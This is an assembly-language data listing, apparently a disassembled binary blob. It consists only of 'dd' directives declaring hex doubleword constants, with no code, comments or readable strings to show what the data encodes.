dd 1484E128h, 0A0177EEh, 408075B6h, 809DB607h, 86208541h
dd 2488E228h, 95E2896h, 96D81Bh, 0A6D60C0Bh, 0C6260941h
dd 348CE328h, 102028D6h, 8336D40Dh, 90386503h, 0D6420h
dd 0D089901h, 5406008h, 40164048h, 5040060Bh, 302A0046h
dd 2B008010h, 941B5928h, 9B595252h, 0C0080F0Bh, 0DA0E0980h
dd 6498E628h, 2220996h, 41D64050h, 0C0846508h, 20501961h
dd 4004A430h, 784F18Ch, 41792814h, 193C3515h, 82B9081h
dd 7F92A560h, 64281196h, 2E02035h, 69864C18h, 4690A3E6h
dd 167C292Ah, 2465954h, 44719447h, 582A8Bh, 0D43B0319h
dd 4A0105C6h, 9F6570DEh, 1A3A83h, 76424FAAh, 0B5FE09C1h
dd 0A4E8E091h, 0EB6AD6B4h, 0C08DC9ADh, 0D4110CE1h, 1C824116h
dd 165B508Ch, 41F0B82Eh, 0C0066103h, 5C6095C5h, 0CD93E839h
dd 6D668A0Eh, 0EB8ACC4Fh, 3B66D8B5h, 940F0EE9h, 90B081D1h
dd 3C65AE9h, 833196A1h, 20640E01h, 0DAC90DC2h, 0CFBB6B36h
dd 18E4FAB6h, 0AD6181B5h, 0ABE6F8B6h, 540689AFh, 909A40C1h
dd 1480C141h, 40E6D406h, 149B50Ah, 0BF0BBC6Fh, 1990Bh
dd 0BEED5197h, 716C5714h, 90801584h, 7C146DA7h, 0CB95C150h
dd 0C2C29642h, 0ECEAA6F2h, 86016C9h, 5EF709D9h, 30CBF2ECh
dd 8227BFh, 802876B0h, 0E049B508h, 0A0551541h, 0EC90060h
dd 0EF41C97h, 0C600BC0Ch, 1CB4080Bh, 374CD2F3h, 20D5DEDh
dd 165B7164h, 47AB004h, 20100205h, 0BB400B41h, 65D06CFBh
dd 4100BCh, 80508C0Ch, 0ADA768D3h, 74478836h, 70DBF6BBh
dd 21F4DC7h, 0C6314823h, 2090130Eh, 7CDEFEF7h, 0CDE5DF7h
dd 80201413h, 6DFA3003h, 2788E1F8h, 8CE2F8AEh, 0E3F8EE37h
dd 0F92E4790h, 0E57A35E4h, 67987655h, 9CE6F9AEh, 0E7F9EE77h
dd 0FA2E87A0h, 6E97A4E8h, 5796763Ah, 4059D5E7h, 0EBFAEEB5h
dd 0FB2EC7B0h, 6ED7B4ECh, 0E7B8EDFBh, 0BCEEFBAEh, 0EFFBEEF7h
dd 0FC2F07C0h, 0D50FB3F0h, 305A7455h, 0CC0D5031h, 0F3FCEF37h
dd 0FD2F47D0h, 6F57D4F4h, 67D8F5FDh, 0DCF6FDAFh, 0F7FDEF77h
dd 0FE2F87E0h, 6F97E4F8h, 0A7E8F9FEh, 4C40FD9Fh, 579C9720h
dd 0FB3EC38h, 63D4F83Eh, 0E7F8FDFFh, 0FCFEFFAFh, 0FFFFEFF7h
dd 0A00C00h, 2C04807h, 880F01Ah, 1702A04Ch, 3A06C0C8h
dd 8C1081F0h, 182704A0h, 0FC9FA40h, 9F7BC707h, 0F27E6F2h
dd 83E3C079h, 8A10C20h, 12C24847h, 2884F09Ah, 570AA14Ch
dd 0BA16C2C8h, 8C3085F0h, 48670CA1h, 0F0DA1AC3h, 0A1CC3886h
dd 43C8770Eh, 1F107615h, 41C0FBFEh, 5A394FBh, 83C3E084h
dd 12A248EEh, 26C4C897h, 5089F13Ah, 0A714A28Ch, 5A2AC548h
dd 0CC588AF1h, 0C8B716A2h, 0F17A2EC5h, 0A30C608Bh, 0C648C718h
dd 8AD19A32h, 3E0790F0h, 0E2BEE212h, 35088144h, 7A3BA238h
dd 0DA3AC748h, 0CC788EF1h, 0C8F71EA3h, 0F1FA3EC7h, 87742E8Fh
dd 84406B1Ah, 0A272828h, 3D41A838h, 404731E0h, 9091F23Ah
dd 2724A48Ch, 5A4AC949h, 0AC738592h, 78300D47h, 0B22E44C8h
dd 0A50C9791h, 0CA494728h, 94F29A52h, 26E4CC7Ch, 441C990Dh
dd 0A891922Ah, 672CA58Ch, 0DA5ACB49h, 0E4AA9232h, 93D2B64h
dd 0F2FA5BCBh, 0A60CC097h, 4B998530h, 95C71A56h, 32A61C9Fh
dd 66CCC997h, 0C58F733Ah, 412BE4ECh, 5A6ACCF9h, 0CCD89AF3h
dd 0A9352C26h, 92F263CBh, 0A70CDA9Ah, 4E49C738h, 97734651h
dd 3AA72CD3h
dd 76CEC9D7h, 0DE9CF1DEh, 0E73BA74Ch, 0DA7ACF49h, 0FEF084F3h
dd 0EF37E374h, 0FA7ECFC9h, 24F99CB3h, 0F97B320Eh, 0F41A82CFh
dd 784C4A0h, 4FA98D37h, 0A1F42279h, 29288D10h, 819C1A03h
dd 18A25382h, 0A146A8CDh, 4A55D0A9h, 0D1B9933h, 9A4748A9h
dd 0C7028A43h, 0A94D24A2h, 42AA574Ah, 0A506FE93h, 4CA98D2Ch
dd 0DF52EA57h, 38A674C0h, 6B4629CDh, 0EA9B9BDAh, 0F540A7F4h
dd 0E3754F27h, 0F51AA0D3h, 6A1CECA8h, 0D48A8A6Eh, 9B153AA6h
dd 530DC54Ah, 0AAD54A9Fh, 0B7AA330Eh, 3086A99h, 76AED5C0h
dd 58011E15h, 38E95866h, 0F59647D6h, 6925678Fh, 0D6B83F5Ah
dd 9255B61Eh, 47677D6Fh, 9050D9BBh, 71AD30AAh, 0F35967A5h
dd 9ABE42FAh, 257EAF30h, 38416061h, 0F61670D8h, 0AC3C22AFh
dd 438B1533h, 0AB46DAACh, 41AC4D82h, 0C6439AF7h, 9684F5B2h
dd 0AD65AC3Dh, 5EC959B9h, 0A59D9DB6h, 36B63A1h, 15E211D9h
dd 0EADD5CACh, 5A9B2F57h, 0B4D6B6D4h, 2BFE05ABh, 0DB1AD96Ah
dd 0ABD6D6C4h, 5EED9D84h, 0DDD67B63h, 5FB096BEh, 676F2B0Dh
dd 0AEDEDAEBh, 2DC5B716h, 0DB817061h, 9722E45Ah, 0EE3DCDB6h
dd 0D6DB536Dh, 0B7F70AE7h, 726DCD9Fh, 0D95B2BB3h, 0D0BB7762h
dd 0C574ACA5h, 6EDEDAFBh, 55C4BAD7h, 6BC176AEh, 769EEF5Eh
dd 0AEEDD4B8h, 5E7B9F76h, 0BCB6AACFh, 7CAFBDAEh, 86573953h
dd 2B9F740Ah, 0F7652BC4h, 0AEFC563Bh, 1E05C0F7h, 5BB97730h
dd 76D2ADE0h, 30260EBEh, 0DC0B4D83h, 0BBB82AF9h, 5AF0BDEDh
dd 0F9613B77h, 1AC23866h, 3377EECEh, 7AFDE17Ch, 0AE20C417h
dd 5C2D8A2Eh, 0F81ACFE1h, 6EFE1DC3h, 0E12C4364h, 0C596AAF4h
dd 8C2C95ACh, 4611C73h, 2DC5D83Fh, 2168E3EEh, 0C6FB5A53h
dd 461DC578h, 6C178D6Ch, 0F84323E2h, 0ACC640C9h, 64DC978Fh
dd 0B2381F0Ch, 93B2B650h, 26E3BBEDh, 59C37977h, 7B96706Eh
dd 6F31664Ch, 0AE51CB59h, 0DB61FE71h, 1B34669Bh, 5668CCD9h
dd 4C4B9571h, 99933561h, 28FD0BA3h, 5A785341h, 0BEF73B0Bh
dd 833405B5h, 15D5ABDh, 49CC39FFh, 9188B196h, 1EDFDC5Ch
dd 7658C7FAh, 3C45A131h, 0F73339E9h, 0F3B677B8h, 667C3D95h
dd 0D35A6738h, 0A132DE9Dh, 29E52D3Dh, 0A2CCB977h, 99A5B416h
dd 0FB50DE1Ch, 2865C871h, 9D4F9DF2h, 79BB2564h, 0B37E06B0h
dd 0E3DC83ABh, 0CDB7AB2Fh, 0AAF54690h, 48EBDD87h, 2AD1997Bh
dd 59AD31A6h, 83446BEDh, 1577CE5Ah, 0CD41B2F6h, 9A933669h
dd 75BE75C7h, 51ECF1ADh, 0CF95DA74h, 5F3626BAh, 66601D9Bh
dd 4CDB7B23h, 0A7A7F656h, 2F31E60Dh, 86C5DB3Ah, 9CDBBB77h
dd 7A33536Ch, 0F676E7DDh, 6E0DA18Eh, 0D77BBB7Bh, 8537F5C2h
dd 82E70DF9h, 0B2D611FFh, 0D9B372BEh, 331FEC7Ch, 0A6DADE7Ch
dd 9B9B99B6h, 9C0B7569h, 0F0E6E8E2h, 716DF3B3h, 0C1DAEF1Bh
dd 0BCB8C71Dh, 609E3FFEh, 0DA7C8B28h, 0B5F7DEC6h, 29F06BD3h
dd 0C3DAD713h, 439C7916h, 384433Bh, 66C2DA38h, 0BD156DAFh
dd 57D3135Ch, 0F44EADD5h, 0F41E0374h, 0BC1B539Dh, 0D2B04DF9h
dd 0F673DADFh, 0BCD1D746h, 8971BA7Dh, 0C31A73BEh, 8F3DE91Bh
dd 6BD17D2Bh, 5863A1EFh, 75B70AEAh, 6ACE93D1h, 0E7DD5AF7h
dd 957B1DF1h, 0B2711BA1h, 7ABFBABFh, 1155A8BEh, 0D63B734Ah
dd 6777923Dh, 6921DE61h, 1DCE8773h, 61E77BA2h, 783901E0h
dd 0E0FE1614h, 9EF6F770h, 0C3D93EFFh, 8E981657h, 0F3426D87h
dd 33B978ACh, 3798F2FEh, 0F9E3E267h, 0FE7BCCEDh, 7BEC93F3h
dd 0FA4F41E7h, 0F297F3D2h, 0E9BC5F9Ch, 1EFACF57h, 0A4F55E8Ah
dd 2333F71Ch, 8EBBEBCFh, 9DB7B41Ah, 2F6F86E4h, 1EEF51CCh
dd 0E7C73FBBh, 0FB0AEBE6h, 0EC5ECA51h, 0E0B637B1h, 59710861h
dd 30CF9BF2h, 0D7D5EB87h, 0E772FCAEh, 768EDE71h, 0FE5F0A39h
dd 1E51796Fh, 7CA6D7FFh, 5B330EFEh, 0BF8A53FDh, 6476F7D4h
dd 7D3FA9F3h, 0FB11E39Ch, 0F0B86675h, 0EEFC4F51h, 0E4E876E7h
dd 0F17A3B1Dh, 9FB769BFh, 0F6C9BC77h, 67D6AA74h, 607507F7h
dd 0C8067207h, 7FF7FC74h, 0BE7FD68Ah, 0A74B7CD5h, 8116547Dh
dd 418075ACh, 0F7EC7C17h, 5D774080h, 5E5F880Ah, 760D7EB7h
dd 80B5CE80h, 5C59E75Bh, 17C06407h, 42B77A7Fh, 0FA7D07DCh
dd 0A75F71D6h, 7326D96Fh, 1A715713h, 8046DA7h, 68572D69h
dd 486D26CEh, 0D6467F26h, 75460B83h, 0E268B76Dh, 76FF6295h
dd 6F476576h, 24674631h, 0A8207266h, 71C83F83h, 3B844757h
dd 0D72B7E28h, 82D4257Eh, 0E854786h, 38266F98h, 7D582A72h
dd 4E65870Fh, 6E185E8h, 83557E84h, 5485F7FDh, 6E46EF6h
dd 83B6D761h, 0A586A691h, 68458406h, 69786086h, 0E97175C3h
dd 0D6AE7317h, 7E882781h, 0FF7C352Dh, 0E0FE77E5h, 168F75F7h
dd 8037126Ch, 55817862h, 860488F7h, 8686E969h, 0B66956D2h
dd 0D8945825h, 87A58068h, 7160369Bh, 46838288h, 7196E683h
dd 0F5898877h, 0D88B86D5h, 6B569F72h, 0E7695713h, 0D8968A07h
dd 84B7EC8Ah, 1588685Bh, 37627375h, 70289A87h, 4B6C069Ch
dd 5EB8B26h, 6D57D171h, 0BE667729h, 47D15988h, 84C7C867h
dd 608BE703h, 0F8708476h, 81984A87h, 0A58C2765h, 98767118h
dd 7E56FB88h, 0CE8BF74Ch, 38898DF8h, 85C4298Eh, 0BF8BC884h
dd 0A7E970B6h, 8D08A68Eh, 478C77F7h, 0B85D8C87h, 8617D671h
dd 0D183085Fh, 88D8EF8h, 62B86E88h, 0E18ED704h, 38BB7158h
dd 8DF7ED85h, 848D78F8h, 87DB6E88h, 8BA5278Bh, 458D85CAh
dd 58508748h, 62D70E89h, 3E62360Ah, 18FF8528h, 90072C8Fh
dd 0B66EF733h, 78F77F08h, 91770471h, 0EB65C912h, 0C83F8CB6h
dd 9278C38Ah, 48DC918h, 3390FE19h, 0F9089246h, 42D87857h
dd 0B5888E6h, 0E8097688h, 89A75972h, 2759754h, 96BD8C48h
dd 69493576h, 3B8295E5h, 75CC8919h, 7557B96Bh, 43818681h
dd 37CA81F8h, 7C08DA75h, 0D6940816h, 0C86F9546h, 74D8AC76h
dd 0BE93C86Dh, 0F7517FA5h, 76975B7Ch, 2F8CA8E2h, 0F90C4989h
dd 7E590E52h, 0CC7B44FFh, 17AD9724h, 9394A696h, 745058E4h
dd 597B4CA9h, 7AE97D97h, 6F53696Dh, 0D4FC85A9h, 9864F780h
dd 88437975h, 99784A59h, 98F98E98h, 3D981481h, 59909835h
dd 42399699h, 9A99798Dh, 0B9999979h, 98E99E99h, 0A299F99Dh
dd 39A17AB9h, 79F9A69Ah, 0AA9A79A5h, 0B9A978C9h, 5549AE9Ah
dd 0B29AF9ADh, 39B15479h, 53A9B69Bh, 0BA9B79B5h, 0B9B95319h
dd 5249BE9Bh, 0C29BF9BDh, 39C151A9h, 5109C69Ch, 0CA9C79C5h
dd 0B9C95059h, 4F79CE9Ch, 0D29CF9CDh, 39D14EE9h, 5009D69Dh
dd 94544992h, 0DC9D79FEh, 0C9D54F69h, 9E146743h, 0E49E39E2h
dd 549845E9h, 9E99E89Eh, 9A9E89EAh, 38877F47h, 0F07887Ah
dd 0F40FF0FBh, 79F69F59h, 9F99F89Fh, 0FC9FB9FAh, 0F9FE9FD9h
dd 0A01A009Fh, 4A03A02h, 80FBA05Ah, 0F07C244h, 0CA0BA05h
dd 0FA0EA0DAh, 0A11A10A0h, 96A089FEh, 0D4399DF4h, 0CD0DD41h
dd 0CDA1B0CBh, 0FA1EA1D0h, 0CEA1EA1h, 24A220CDh, 5A26A23Ah
dd 0A27A28A2h, 2CA29A2Ah, 0DA2EA2BAh, 0A2FA30A2h, 34A31A32h
dd 5A36A33Ah, 0A20A35A3h, 0D2A20A3Ah, 0E0F70DD0h, 0F242841h
dd 0C60D70F5h, 6A450C50h, 0A49A480Ch, 49A4BA4Ah, 0FA4E0C5Ah
dd 0A51A50A4h, 54A53A52h, 0CA56A55Ah, 0A4BA58A4h, 5CA5BA56h
dd 0DA5EA5DAh, 0A61A59A5h, 0CB0C6A47h, 1A070DB0h, 437A164Ah
dd 0F50F60F5h, 905407D0h, 0A71A7004h, 49A73A72h, 7A7503F0h
dd 0A79A76A7h, 7AA7BA78h
dd 0FA7CA7DAh, 0A81A7EA7h, 0FEA83A80h, 84A85A82h, 9A86A87Ah
dd 0A8BA88A8h, 71A8DA74h, 607D054Ah, 0F80F60Fh, 71A93428h
dd 90320340h, 0A9BA9AA9h, 9EA9DA9Ch, 1AA0A9FAh, 0AA3AA2AAh
dd 0A6AA5AA4h, 9AA8AA7Ah, 34AA8AAh, 6C0F8071h, 5A69497Ah
dd 0F10EE43h, 9108008Fh, 90830870h, 0ABB086ABh, 0BCABDABCh
dd 86081Ah, 83081ACh, 0C6AC407Eh, 7AC8AC5Ah, 0AC1AC4ACh
dd 0CDAC2ACCh, 1ACEACFAh, 0AD3AD0ADh, 0D4AD5AD2h, 9AD6AD7Ah
dd 0ADBAD8ADh, 0CFADDADAh, 0BAE0ABEAh, 83AB9ABh, 85091087h
dd 0D0F308F0h, 8F0F47Dh, 9F097062h, 1AF0AEF0h, 0AF3AF2AFh
dd 0F6AF5AF4h, 9AF8AF7Ah, 0AFBAFAAFh, 0FEAFDAFCh, 7B00AFFAh
dd 8F06209h, 887F60F4h, 88B99EE7h, 0F247F88h, 7205B0F6h
dd 0A0A60A10h, 0A70A60Ah, 16B15B14h, 9B18B17Bh, 0B1BB1AB1h
dd 1EB1DB1Ch, 1B20B1FBh, 0B23B22B2h, 13B1FB24h, 70A10A6Bh
dd 0F605F07h, 42FE4A40h, 710460F9h, 40FF0E00h, 0B35B3441h
dd 6B37B36h, 10E00FF4h, 0A3F04607h, 4B9D9A15h, 947B9DB5h
dd 6A0E90Fh, 0A909E0A2h, 60B10B60h, 0B4D0B30Bh, 50B4FB4Eh
dd 3B52B51Bh, 0B55B54B5h, 58B57B56h, 0BB5AB59Bh, 0B5DB5CB5h
dd 0B6B4AB56h, 209E0A90h, 0E906D0Ah, 0E74260F9h, 0F0FF0390h
dd 0B6D0D7A3h, 70B6FB6Eh, 3B72B71Bh, 0B75B74B7h, 78B77B76h
dd 0BB7AB79Bh, 0B7DB7CB7h, 0F70F2B7Ch, 70390FF0h, 495B670Eh
dd 0F9434AB1h, 0D0960890h, 0C80AD09h, 900E30C1h, 3B92B91Bh
dd 0B95B94B9h, 98B97B96h, 0BB9AB99Bh, 0B9DB9CB9h, 0A0B9FB9Eh
dd 80DEB9DBh, 9B0AD0Ch, 85089095h, 807A424Bh, 0DBA6B0Ah
dd 0B00D90D7h, 3BB2BB1Bh, 0BB5BB4BBh, 0B8BB7BB6h, 0BBBABB9Bh
dd 0BBDBBCBBh, 0C0BBFBBEh, 0B0D7BBDBh, 0A8A6C0Dh, 0A1BA907Ah
dd 2552B407h, 0F847AB4h, 0A30A2070h, 0F0E10E40h, 0BD50EA0Dh
dd 0BD7BFED6h, 0DABD9BD8h, 0DBDCBDBBh, 0BDFBDEBDh, 0E2BE1BE0h
dd 5BE4BE3Bh, 0E6BE2BEh, 0A30E40E1h, 80700A20h, 49422BCh
dd 0F70F40DDh, 50E00DD0h, 0BF7BF6BFh, 0FABF9BF8h, 0DBFCBFBBh
dd 0BFFBFEBFh, 2C01C00h, 5C04C03Ch, 0A3EC04C0h, 490DD0F4h
dd 0A4B8BEE0h, 0BCC559BCh, 660F8479h, 0F0AA0A00h, 0EE0ED0Fh
dd 1AC190ECh, 0DC1CC1BCh, 0C1FC1EC1h, 22C21C20h, 5C24C23Ch
dd 0C27C26C2h, 27C29C28h, 0A0FF0EDCh, 660A20Ah, 3D420C0Ch
dd 0F0EF0D90h, 0C379EB0Fh, 5BC39C38h, 90EF0FF4h, 0C3103D0Dh
dd 33B8748Fh, 805E0F64h, 0A120A909h, 4AC49C48h, 1C4CC4BCh
dd 0A00ABA0h, 0F0C4005Eh, 0E0DB03C0h, 0C57C4D0Eh, 5AC59C58h
dd 0B0EEA03Ch, 0C5203C0Dh, 32C42480h, 405E0F54h, 0A11C4709h
dd 699F9001h, 5C6CC5BCh, 0C6DC6B9Fh, 980A9C4Ch, 0C426C510h
dd 0B810E003h, 6EC6FA03h, 0A9F7C70Ch, 0C7FC7CC7h, 0C7EA01FEh
dd 0E00F79FBh, 8B3FC5F0h, 0B0A90DB0h, 610F247Eh, 60A50920h
dd 46048C0Fh, 9344C001h, 5467C3ACh, 0C980EEC9h, 0F0C38C92h
dd 30A60F60h, 0C5206109h, 0FF0DB03Eh, 0C457C900h, 0C37C9455h
dd 5CC96C9Ah, 0E455CAB4h, 0CB0451CAh, 0FFC9D44Ch, 3E0DB0h
dd 6DDB07C6h, 79B067A9h, 208DC8C4h, 0E50EE0Ah, 0C4CC30DFh
dd 7CC6CC5Ch, 1CC7CCh, 0C8CCACC4h, 0FCCECCDCh, 0CD1CD0CCh
dd 0CCCCDCD2h, 3CD50DFCh, 0CD7CD0CDh, 0CDCDBCD8h, 20EE0E5Ch
dd 0CA108C0Ah, 3E0F5425h, 5C360CB0h, 0CE90DD0Eh, 0ECCEBCEAh
dd 0E0010DDCh, 0CEFCEBCEh, 0F4CF3CEDh, 0CF6CF5Ch, 0CF9CF7CFh
dd 0FCCFBCFAh, 0DCF2CECCh, 0CFBCF8CFh, 0DECF5CFFh, 70CB0FFCh
dd 0CBAC87CBh, 8C4917F5h, 0B0A208ACh, 0D60DF0Eh, 14D13D12h
dd 6D16D15Dh, 0D13001D1h, 5ED12D19h, 7D1DD145h, 0D6D1AD1h
dd 5DD1C55Ch, 2D25D215h, 0FEAD23D2h, 0D1BD27D1h, 29D28D21h
dd 9D25D1EDh, 0D22D27D1h, 2FD24D28h, 0FD1BD2EDh, 0D20D1FD1h
dd 16D3DD3Ch, 0B0EB0DFDh, 0CE207F09h, 0C6CE4424h, 0D0EB0FF0h
dd 0D4B0D50Dh, 4ED4DD4Ch, 10D5Dh, 0D51D4DD5h, 4F55ED4Bh
dd 0CD56D4FDh, 0D52D59D4h, 5DD5555Dh, 0DD51D54Dh, 0D53D55D5h
dd 4ED62D5Ah, 0CD63D54Dh, 0D5A55CD5h, 63D6BD50h, 1D59D6EDh
dd 0D6DD66D7h, 5BD62D70h, 7D52D74Dh, 0DDD4DD5h, 0C60FF0EBh
dd 0EB86D080h, 0C1058FC0h, 610F7478h, 0A0A007F0h, 0D30DF0Eh
dd 8ED8DD8Ch, 1D90D8FDh, 0D3001D9h, 95D8CD93h, 0DD98D96Dh
dd 0D92D97D8h, 95D9BD97h, 0DD9A55CDh, 0D98D99D9h, 0A6D94D9Bh
dd 0DD90D9ADh, 0D94DA2D9h, 9ED99DABh, 1DAFDA3Dh, 0DB3DB2D9h
dd 94BD4DB3h, 3D440790h, 3E0F242h, 0EA0FF0C5h, 1A3B0DB0h
dd 10CDDCh, 0C5DC4A1Dh, 6A1EDC7Dh, 0DCADC1DCh, 0C8DC8DC3h
dd 0EDC955CDh, 0DFEC6DCh, 0A1FDCFDDh, 3ADD6DD3h, 0ADD3DCCAh
dd 0DD1DDBDCh, 0D8DDCDC3h, 2DCEDCDDh, 0DD2DDADEh, 0CCDDCDE1h
dd 0A0DBDC1Dh, 0C50FF0Eh, 62494D80h, 10F8431Ch, 9407C06h
dd 0CF0DA0E9h, 0BDFADF90h, 0DFDDFCDFh, 10CFDFEh, 0AE01DFB0h
dd 0E03E03DFh, 6DFCDFFh, 9E02E00Eh, 0E0DE09DFh, 0AE0BE0Ch
dd 2E11E0FEh, 0E13E10E1h, 4E0EE11h, 9E05DFEEh, 0E1DE07E1h
dd 0DADFFE1Eh, 60920E90h, 422DB907h, 0FF0C2CE4h, 0B0D90E90h
dd 0E2DE2CA1h, 1A1BE2Eh, 1E2CE300h, 0E340CBE3h, 33E2FE32h
dd 5E36E38Eh, 0E37E37E3h, 3BE34E36h, 2E2DE40Eh, 0E2EE39E4h
dd 3CE3DE41h, 3E3EE49Eh, 0E4AE4CE4h, 4DE4AE47h, 8E44E50Eh
dd 0CBE38E4h, 0FF0E90D9h, 9DEF0C20h, 96EC88BCh, 0F547DC8Ah
dd 0E0750610h, 0D80E808h, 68E670C9h, 0BE6AE69Eh, 0C9E6CE6h
dd 0A3E69001h, 0D55CE686h, 0E6FE6AE6h, 67684E72h, 0E79E76Eh
dd 2E7BFEE7h, 0E6EE7DE7h, 75E78E79h, 0AE84E7EEh, 0E82E6EE7h
dd 80E73E81h, 0DE74E77Eh, 0E6CE8EE8h, 8C0E80D8h, 1E250730h
dd 3E0F842h, 0E50FF0BDh, 0CA620D50h, 0A49001A4h, 0A10C6E9Fh
dd 4A48EA1Eh, 0EA6A58EAh, 0A3A4AEA0h, 9EA5EAAEh, 0EACEA2EAh
dd 0A3EAEEAFh, 6EB0E9E6h, 0EB2EABEAh, 0B1EADEB0h, 0A684EA2Eh
dd 0EA4A4BEBh, 0C2EBBEB3h, 50D5A59Eh, 0BD0FF0Eh, 0F1492E5Bh
dd 3C8C430Dh, 0E608A07h, 0D20CA0D6h, 5ED4ED3Eh, 0ED7ED6EDh
dd 0D40010CAh, 9ED8EDAEh, 0EDDEDCEDh, 0D7ED9EDFh, 2EE4EE1Eh
dd 0EE6EE5EDh, 0DDEE8EE2h, 9EECEE9Eh, 0ED6EE7EEh, 0E1EDCEDFh
dd 0BEF3EE6Eh, 0EDDEF6EEh, 8B0E60D6h, 7C40E940h, 0FF0BBE9h
dd 0C00D20E2h, 5F04F030h, 0C0F06F0h, 9F05001h, 0AF08F09Fh
dd 0F0EF07F0h, 3F0CF07h, 0DF12F0CFh, 0F16F16F0h, 10F14F15h
dd 9F0FF15Fh, 0F1BF13F1h, 1EF04F20h, 0FF1CF17Fh, 2F11F1FEh
dd 0F10F1DF2h, 0D2F04F0Fh, 0B0FF0E20h, 0C0DEC90Bh, 5F982E5Dh
dd 0F06147DEh, 0DC08806h, 3CEF70CCh, 6F3EEDBFh, 0F3FEF5EFh
dd 0EFED5EEAh, 0AF42EEEEh, 0F40EF1EDh, 45EE7ED3h, 1F3FF4BFh
dd 0F3DEEDF4h, 0CC0CAF52h, 0F0880DC0h, 420E9506h, 0B903E0F9h
dd 20C4CB50h, 0F61F600Bh, 0B2F63F62h, 6F620010h, 0F65F66F6h
dd 6BF64F67h, 0F69F64Fh, 0F6FF69F6h, 73F73F6Ah, 0DF71F72Fh
dd 0F6CF72F6h, 78F70F76h, 0BF61F7DFh, 0F79F74F7h, 7FF6EF7Ch
dd 0CF6DF7AFh, 0C4F61F6h, 310B9CA4h, 4D8277CFh, 477D845Ah
dd 6C05E0EDh, 3ED10880h, 0F45F3CF5h, 0E3F42EF2h, 0EF9BF9CEh
dd 0F9AFA0F4h, 0A0EF0F9Eh, 0CFA2EEAFh, 0F4355CEEh, 3CF98F4Dh
dd 408A0D6Fh, 0B2EC7406h, 0FF0B803Eh, 0E0B90D50h, 0FB9FB80Ah
dd 0AEFBBFBAh, 0CFBB0010h, 0FBEFB855h, 0BCFC2FB9h, 2FBAFC1Fh
dd 0FBDFC4FCh, 0CBFC3FC6h
dd 0FECEFCAFh, 0FC4FCBFh, 0FD3FCFFCh, 0C9FD2FCDh, 0DFD1FC8Fh
dd 0FC8FD3FCh, 0D7FDDFCCh, 5FC7FD5Fh, 0FC5FC9FDh, 0D50B90AEh
dd 0D0B80FF0h, 0F8FC41F8h, 76F91644h, 6064F934h, 0EF7FACF9h
dd 0DB55EEF3h, 3F9C55DEh, 0FA9EF4F4h, 0F6EEFFFAh, 1100FF9Fh
dd 65006040h, 1B2A0D05h, 4120F088h, 1A130B85h, 0E1F0C84Ch
dd 2D078640h, 0F198C45Eh, 6445B5A0h, 1783E4BCh, 7CC86452h
dd 0ABFD703Eh, 4AD64BB6h, 0CA5D2D96h, 0E632F00Ah, 672D8A4Ah
dd 32C9ACBAh, 349B4C27h, 4A04F205h, 9BCFE753h, 1512713Bh
dd 40E853AAh, 0FA9936A5h, 0E774699Ch, 5F48A953h, 0ED55DCBAh
dd 201F2E1Fh, 1B057E47h, 0B258EC56h, 0ABC1DD23h, 94470357h
dd 0BEDD6D32h, 0A36EB85h, 0E0F51A8Eh, 579B2D9Dh, 6676DE6Fh
dd 46E230C8h, 0C260E34Dh, 34563585h, 62F1589Ch, 3F1D8DC6h
dd 1B8D4656h, 0BC663222h, 3C7CD82h, 0BF68BF17h, 6FE7EAEh
dd 68A83A1Dh, 9F4DA5D2h, 0F5137D2Eh, 7FA8D66Ah, 8B87E345h
dd 0B5BDE5C7h, 9B3D836Dh, 0DE5C6D76h, 0BDD6E770h, 0DEF85B7Bh
dd 0E4C86E78h, 0D86B7561h, 9DCDE631h, 5D1E873Fh, 1E7F4FAh
dd 9EC75FA8h, 0EE76FB5Dh, 1F4FBDDDh, 1CD58B76h, 8F686E32h
dd 974497CCh, 96D56CBCh, 5F1F87BDh, 0F4FA7CFEh, 9FC7D403h
dd 0FE7EFF5Fh, 0F7DFE3FDh, 701402Fh, 6C9AAF84h, 8925D1E4h
dd 906386F3h, 62D4DCACh, 7F0937ABh, 6AF0BB3h, 9EE91C2Fh
dd 8270BA44h, 0B95E4E10h, 471117C5h, 1344B124h, 17D1444Fh
dd 0B164565Eh, 845F1745h, 525E4631h, 1B46B1A4h, 4731C46Fh
dd 0F15C531Dh, 71084E15h, 16448BA2h, 4F8E8924h, 1CA711C4h
dd 0B2649725h, 849F2749h, 0A7294A32h, 2B4AB2A4h, 4AE00CABh
dd 0B2E4B72Dh, 0A13F2449h, 0C70C4883h, 937707Ch, 0B830A37Bh
dd 27CCC731h, 0B8B0219Dh, 3A498FE2h, 4EB3FEA1h, 33C4EF3Bh
dd 0F4E93D4Fh, 0FF3F4FA4h, 41503404h, 4F64F507h, 34450F43h
dd 65174551h, 273ECF74h, 2C0AE3F9h, 0CC474882h, 0A1B1607Ch
dd 0E1CE711Ah, 3E749CF4h, 51543505h, 54B52547h, 15454E75h
dd 655752D5h, 5354D495h, 5956356Dh, 0D5557D47h, 0B5BD6F59h
dd 0A9C473D3h, 0C45806C6h, 32C1B35Ch, 0AE333C23h, 960C2D34h
dd 0B1EC7941h, 0D22C0742h, 690EA398h, 5AB6A5A7h, 36C5AF6Bh
dd 0E5B76D5Bh, 0BF6F5BB6h, 715C3705h, 0CE39DBFh, 0C2B0742Ch
dd 92C4791Eh, 0BC229D67h, 7B9EA748h, 1EE7C1F0h, 37C5EF7Bh
dd 0E5E97BDFh, 0FB7F5FB7h, 816027DDh, 0E0782607h, 0E7FDE97Fh
dd 0EE17839Fh, 1F866157h, 89623886h, 0E298A627h, 0A309D27Ah
dd 4DD67588h, 8B61D836h, 8ED8EDE5h, 91E77585h, 4268D63Dh
dd 66579509h, 842565B9h, 99663970h, 66B9A667h, 39C66F9Bh
dd 0CE779D67h, 9B9D6619h, 8F6358FEh, 0EDC4D447h, 20C4481Fh
dd 97A512E5h, 0A769BA66h, 6A3A869Fh, 0BAA6A7A9h, 0C6AFAB6Ah
dd 0B7AD6B3Ah, 478A6526h, 647641FEh, 1082D161h, 0AAE96364h
dd 0ED06EC50h, 2A1047A9h, 6E3B8096h, 0E25EE7B9h, 0C6EFBA07h
dd 0F7BD6F3Bh, 0BF6FBBE6h, 0F03C06FFh, 9C06EDBFh, 51EC410Ah
dd 0E3852CB7h, 180641A0h, 72219060h, 0BCA727C9h, 0C72FCB72h
dd 37C7F33Ch, 0CF73BCE7h, 743D073Fh, 0BD2733D1h, 474FD374h
dd 0E21A065Dh, 0B51F6658h, 0ECD8FCD7h, 0FD7E44B7h, 0C9E47736h
dd 0AA6B9C47h, 0DF77BDE1h, 1A06AF7Fh, 0BE278669h, 478FE378h
dd 97E5793Eh, 0E779BE67h, 7A3E879Fh, 0BE7785E9h, 0D1C06BF7h
